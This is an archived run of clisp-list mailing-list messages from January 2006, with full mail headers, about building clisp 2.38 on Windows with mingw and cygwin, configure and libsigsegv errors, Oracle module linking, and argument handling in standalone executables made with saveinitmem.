kavenchuk@tut.by Wed Jan 25 12:38:42 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1rPe-0005sz-A2 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 12:38:42 -0800 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1rPd-0008CF-1F for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 12:38:42 -0800 Received: from [194.158.220.117] (account kavenchuk HELO [194.158.220.117]) by tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 3970835 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 22:36:14 +0200 Message-ID: <43D7E1C6.5070107@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru-ru, ru, en-en, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] clisp-2.38-win32-with-readline-and-gettext Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 14:05:08 2006 X-Original-Date: Wed, 25 Jan 2006 22:38:30 +0200 I upload it to sf.net Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Wed Jan 25 14:06:27 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1smZ-00046B-Cs for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 14:06:27 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1smW-0007PO-LD for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 14:06:27 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PM5m5t005603; Wed, 25 Jan 2006 17:05:49 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43D7E1C6.5070107@tut.by> (Yaroslav Kavenchuk's message of "Wed, 25 Jan 2006 22:38:30 +0200") References: <43D7E1C6.5070107@tut.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp-2.38-win32-with-readline-and-gettext Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 14:07:03 2006 X-Original-Date: Wed, 25 Jan 2006 17:05:07 -0500 thanks - I released it -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il http://www.memri.org http://www.honestreporting.com http://www.jihadwatch.org http://www.mideasttruth.com Linux: Telling Microsoft where to go since 1991. From sds@gnu.org Wed Jan 25 14:08:21 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1soP-0004Gf-2Z for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 14:08:21 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1soN-0000Tx-Eg for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 14:08:21 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PM7koQ005735; Wed, 25 Jan 2006 17:07:46 -0500 (EST) To: clisp-list@lists.sourceforge.net, Andrew Stebakov Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060125185821.76803.qmail@web32005.mail.mud.yahoo.com> (Andrew Stebakov's message of "Wed, 25 Jan 2006 10:58:21 -0800 (PST)") References: <20060125185821.76803.qmail@web32005.mail.mud.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andrew Stebakov Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Building clisp 2.38 fails, questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 14:09:06 2006 X-Original-Date: Wed, 25 Jan 2006 17:07:05 -0500 > * Andrew Stebakov [2006-01-25 10:58:21 -0800]: > > I downloaded the latest clisp and trying to build it. > I have only cygwin installed on my system (with mingw > runtime) so I go into the src directory and type: > > ./configure --with-mingw --build clisp-mingw > The result is a bunch of checks and finally: > configure: * check for host type > checking build system type... Invalid configuration > `clisp-mingw': machine `clisp' not recognized > configure: error: /bin/sh ./build-aux/config.sub > clisp-mingw failed I have no idea what this might mean. I am afraid this is indeed a problem with your installation, so you will have to google for the error message and ask the autoconf experts... -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.mideasttruth.com http://www.dhimmi.com http://ffii.org http://www.jihadwatch.org http://pmw.org.il Why use Windows, when there are Doors? From sds@gnu.org Wed Jan 25 14:13:43 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1stZ-0004h4-MO for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 14:13:41 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1stW-0003IF-1C for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 14:13:41 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PMD4iQ005861; Wed, 25 Jan 2006 17:13:04 -0500 (EST) To: clisp-list@lists.sourceforge.net, daly@axiom-developer.org Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200601252009.k0PK9mw01336@foo> (root's message of "Wed, 25 Jan 2006 15:09:48 -0500") References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> <200601252009.k0PK9mw01336@foo> Mail-Followup-To: clisp-list@lists.sourceforge.net, daly@axiom-developer.org Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 14:14:01 2006 X-Original-Date: Wed, 25 Jan 2006 17:12:23 -0500 > * root [2006-01-25 15:09:48 -0500]: > > The configure complained that it could not find libsigsegv and gave > instructions for installing and configuring it which I followed. > > Then I did the configure again with the --with-libsigsegv-prefix > and it still complains. > > I read the configure script and it is checking a variable called > ${cl_cv_lib_sigsegv} for the value 'yes' but this variable appears > never to be set under any conditions. it is set by src/configure in config.cache which is sourced by the top-level configure. are you getting errors loading config.cache? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com http://www.palestinefacts.org http://www.iris.org.il http://pmw.org.il http://www.savegushkatif.org Lisp: it's here to save your butt. From sds@gnu.org Wed Jan 25 14:17:31 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1sxH-0004y4-6l for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 14:17:31 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1sxG-00050l-LA for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 14:17:31 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PMGrEa006259; Wed, 25 Jan 2006 17:16:57 -0500 (EST) To: clisp-list@lists.sourceforge.net, Klaus Weidner Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060125182507.GC17726@w-m-p.com> (Klaus Weidner's message of "Wed, 25 Jan 2006 12:25:07 -0600") References: <20060125182507.GC17726@w-m-p.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Klaus Weidner Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 14:18:02 2006 X-Original-Date: Wed, 25 Jan 2006 17:16:12 -0500 > * Klaus Weidner [2006-01-25 12:25:07 -0600]: > > Sam Steingold writes: >>> * Roman Belenov [2006-01-25 18:45:12 +0300]: >>> The arguments are processed before init-function is called, so that >>> doesn't help. It would be possible to CUSTOM:*INIT-HOOKS* as a >>> workaround if ext:*args* were initialized before calling the hooks, >>> but it is not the case. >> >> I don't understand what you want. > [...] >> $ ./adder "" 1 2 3 4 >> 10 >> $ > > The issue here is the extra "" (or --) argument required; if you don't > use that the builtin runtime argument processing takes precedence. For > example, if you just provide a filename argument to the program it'll > try to load that as a Lisp file. yes, this is necessary to enable CLISP scripting: a script ----------- foo ----------- #!/usr/local/bin/clisp ... ----------- foo ----------- is called like this: when you type $ foo a b c shell is doing $ /usr/local/bin/clisp foo a b c -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il http://www.jihadwatch.org http://www.mideasttruth.com http://www.dhimmi.com http://ffii.org http://www.memri.org All extremists should be taken out and shot. From kw@w-m-p.com Wed Jan 25 17:08:50 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1vd4-0000iN-Ks for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 17:08:50 -0800 Received: from mail.atsec.com ([195.30.252.105]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1vd4-0005uR-2t for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 17:08:50 -0800 Received: (qmail 6021 invoked by uid 10125); 26 Jan 2006 01:08:48 -0000 X-SpaceNet-Virusscan: Sophos Version: 4.00; Last IDE Update: 2006-01-25 23:40 no information about results Received: from enchantedrock.atsec.com (HELO io.lan.w-m-p.com) (216.201.228.115) by mail.atsec.com with SMTP; 26 Jan 2006 01:08:47 -0000 X-SpaceNet-Authentification: SMTP AUTH verified Received: by io.lan.w-m-p.com (Postfix, from userid 501) id 6271714AF0; Wed, 25 Jan 2006 19:08:41 -0600 (CST) From: Klaus Weidner To: clisp-list@lists.sourceforge.net Message-ID: <20060126010838.GA7080@w-m-p.com> References: <20060125182507.GC17726@w-m-p.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 17:09:04 2006 X-Original-Date: Wed, 25 Jan 2006 19:08:38 -0600 On Wed, Jan 25, 2006 at 05:16:12PM -0500, Sam Steingold wrote: > > * Klaus Weidner [2006-01-25 12:25:07 -0600]: > > The issue here is the extra "" (or --) argument required; if you don't > > use that the builtin runtime argument processing takes precedence. For > > example, if you just provide a filename argument to the program it'll > > try to load that as a Lisp file. > > yes, this is necessary to enable CLISP scripting: > a script > ----------- foo ----------- > #!/usr/local/bin/clisp > ... > ----------- foo ----------- > is called like this: > when you type > $ foo a b c > shell is doing > $ /usr/local/bin/clisp foo a b c I understand that this is necessary for the shipped clisp runtime - but I think it would be useful to be able to build standalone executables that don't behave like that, and that have full control over argument handling. For example, assume that you write a Prolog runtime in Lisp and then generate a clisp-based standalone executable containing the Prolog interpeter. It would be neat to be able to write Prolog scripts using that: #!/usr/local/bin/prolog [ prolog code follows] and then get the shell to run it using your executable. In this case the filename argument needs to be handled by the image's init function and not the clisp runtime, since it's Prolog and not Lisp. -Klaus From lisp-clisp-list@m.gmane.org Wed Jan 25 21:59:20 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F20AC-0005rm-Fq for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 21:59:20 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F20A9-0005dU-8E for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 21:59:20 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1F209w-0004yV-DO for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 06:59:05 +0100 Received: from wsip-70-168-64-174.ok.ok.cox.net ([70.168.64.174]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 26 Jan 2006 06:59:04 +0100 Received: from wolfjb by wsip-70-168-64-174.ok.ok.cox.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 26 Jan 2006 06:59:04 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Jeff Lines: 70 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 70.168.64.174 (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] build failure 2.38 (oracle + mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 22:00:06 2006 X-Original-Date: Thu, 26 Jan 2006 05:58:58 +0000 (UTC) I am trying to build clisp 2.38 to include oracle. In the msys window where I have started the compile I have set ORACLE_HOME as: ORACLE_HOME=/c/oracle/ora90 I am compiling with this command: ./configure --without-readline --with-dynamic-ffi --with-dynamic-modules --with- module=syscalls --with-module=wildcard --with-module=regexp --with- module=oracle --with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 - -with-mingw --build oralisp > stdout.out 2> stderr.err I had to change the Makefile.in in oralisp/oracle to use this additional include directive so it could find oci.h ${ORACLE_HOME}/oci/include After that, I'm getting this error output (stderr.err) ./makemake: argument --with-module=syscalls is ignored because syscalls is a base module ./makemake: see http://clisp.cons.org/impnotes/modules.html#base-modules ./makemake: argument --with-module=regexp is ignored because regexp is a base module ./makemake: see http://clisp.cons.org/impnotes/modules.html#base-modules writing test file clisp-test.c wrote 160 tests (149 typedefs, 11 defines) gettext.m.c:1: warning: -fPIC ignored for target (all code is position independent) calls.m.c:1: warning: -fPIC ignored for target (all code is position independent) regexi.m.c:1: warning: -fPIC ignored for target (all code is position independent) wildcard.c:1: warning: -fPIC ignored for target (all code is position independent) orafns.c:1: warning: -fPIC ignored for target (all code is position independent) gcc.exe: ..: linker input file unused because linking not done 0 errors, 0 warnings oracle.c:1: warning: -fPIC ignored for target (all code is position independent) gcc.exe: ..: linker input file unused because linking not done oiface.c:1: warning: -fPIC ignored for target (all code is position independent) gcc.exe: ..: linker input file unused because linking not done ./clisp-link: create-shared-lib: command not found ./clisp-link: failed in /clisp/clisp-2.38/oralisp/i18n make: *** [base] Error 1 The error seems to be in the absence of the create-shared-lib command. What do I do to overcome this error? I have installed Mingw32 and msysDTK and msys all at the "current" levels. Thanks, Jeff PS, I'll fix my configure line on the next go around to not include the base modules as the error output above indicates. From kavenchuk@jenty.by Wed Jan 25 23:22:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F21SL-0002Zh-QG for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 23:22:09 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F21SK-0002DL-93 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 23:22:09 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id D4JK6AX9; Thu, 26 Jan 2006 09:23:38 +0200 Message-ID: <43D878FE.3010706@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Jeff CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] build failure 2.38 (oracle + mingw) References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 23:23:01 2006 X-Original-Date: Thu, 26 Jan 2006 09:23:42 +0200 Jeff wrote: > I am trying to build clisp 2.38 to include oracle. In the msys window > where I > have started the compile I have set ORACLE_HOME as: > > ORACLE_HOME=/c/oracle/ora90 > > I am compiling with this command: > > ./configure --without-readline --with-dynamic-ffi --with-dynamic-modules > --with- > module=syscalls --with-module=wildcard --with-module=regexp --with- > module=oracle > --with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 - > -with-mingw --build oralisp > stdout.out 2> stderr.err --with-dynamic-modules with mingw (or all win32?) is not work (IMHO) -- WBR, Yaroslav Kavenchuk. From Roman.Belenov@intel.com Wed Jan 25 23:22:14 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F21SP-0002Zr-Tt for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 23:22:13 -0800 Received: from fmr13.intel.com ([192.55.52.67] helo=fmsfmr001.fm.intel.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F21SO-0000MQ-IU for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 23:22:13 -0800 Received: from fmsfmr100.fm.intel.com (fmsfmr100.fm.intel.com [10.253.24.20]) by fmsfmr001.fm.intel.com (8.12.10/8.12.10/d: major-outer.mc,v 1.1 2004/09/17 17:50:56 root Exp $) with ESMTP id k0Q7M7Z8002464 for ; Thu, 26 Jan 2006 07:22:07 GMT Received: from fmssmxvs041.fm.intel.com (fmssmxvs041.fm.intel.com [132.233.42.126]) by fmsfmr100.fm.intel.com (8.12.10/8.12.10/d: major-inner.mc,v 1.2 2004/09/17 18:05:01 root Exp $) with SMTP id k0Q7M5dF000752 for ; Thu, 26 Jan 2006 07:22:07 GMT Received: (from NNWRBELENOV41 [10.125.17.115]) by fmssmxvs041.fm.intel.com (SAVSMTP 3.1.7.47) with SMTP id M2006012523220220448 for ; Wed, 25 Jan 2006 23:22:04 -0800 To: clisp-list@lists.sourceforge.net References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> From: Roman Belenov In-Reply-To: (Sam Steingold's message of "Wed, 25 Jan 2006 11:14:50 -0500") Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/23.0.0 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.52 on 10.253.24.20 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 23:23:03 2006 X-Original-Date: Thu, 26 Jan 2006 10:22:00 +0300 Sam Steingold writes: > suppose you want your program to add its arguments. > you do this: > > $ clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t > :init-function (lambda () (print (reduce (function +) ext:*args* :key > (function read-from-string))) (ext:exit)))' > > $ ./adder "" 1 2 3 4 What I want is to eliminate the need of "" (or --) as a first argument, so that ./adder 1 2 3 4 would do the job instead of treating 1 as name of Lisp file to load. As far as I understand, it's not currently supported and requires additional flag in the image and corresponding keyword argument in saveinitmem. -- With regards, Roman. From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 26 01:55:26 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F23qe-0004jB-SV for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 01:55:24 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F23qd-000347-IG for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 01:55:25 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 10:55:01 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 26 Jan 2006 10:55:01 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030819EEEA@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] RE: CLISP standalone version MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 01:56:03 2006 X-Original-Date: Thu, 26 Jan 2006 10:54:42 +0100 Frank Buss wrote: >See e.g. http://gcc.gnu.org/ml/gcc-help/2004-01/msg00225.html >. The effect >is that when the exe-file is executed by double-click, no >console-window is created. Maybe there's a possibility under MS-windows similar to what was available in AmigaOS: the console only appears when I/O is performed, not when the stream is created. So it's open, but not (yet) visible. It will only appear when the first READ or WRITE is issued. Then it will stay visible. And BTW, hitting the CLOSE button sends an EOF to the input stream, but not close the window. The window only closes when the stream is closed (well, there are some options, some can disappear and reappear later, like the tiny Linux Konsole/mesg popup). The EOF condition can be cleared with CLEAR-INPUT. Thus, like on UNIX, one can exit a dozen nested debugger sessions one at a time by hitting the CLOSE button (instead of pressing ^D in a UNIX terminal) a dozen times. When CLISP sees the EOF at top-level it will exit, causing the window to close as well. It seems such a behaviour could help you: no window, as long as nothing uses it. As soon as your GUI applications uses e.g. *trace-output* (synonym to *terminal-io*), the window appears. Cute, isn't it? Regards, Jorg Hohle. From pjb@informatimago.com Thu Jan 26 05:15:14 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F26xz-0002Kp-0h for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 05:15:11 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F26xR-0003el-T7 for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 05:15:10 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 3C835586AE; Thu, 26 Jan 2006 14:14:28 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id AB253586AF; Thu, 26 Jan 2006 14:14:20 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 231AD8307; Thu, 26 Jan 2006 14:14:19 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17368.52010.995043.396005@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Andrew Stebakov Subject: Re: [clisp-list] Re: Building clisp 2.38 fails, questions In-Reply-To: References: <20060125185821.76803.qmail@web32005.mail.mud.yahoo.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW 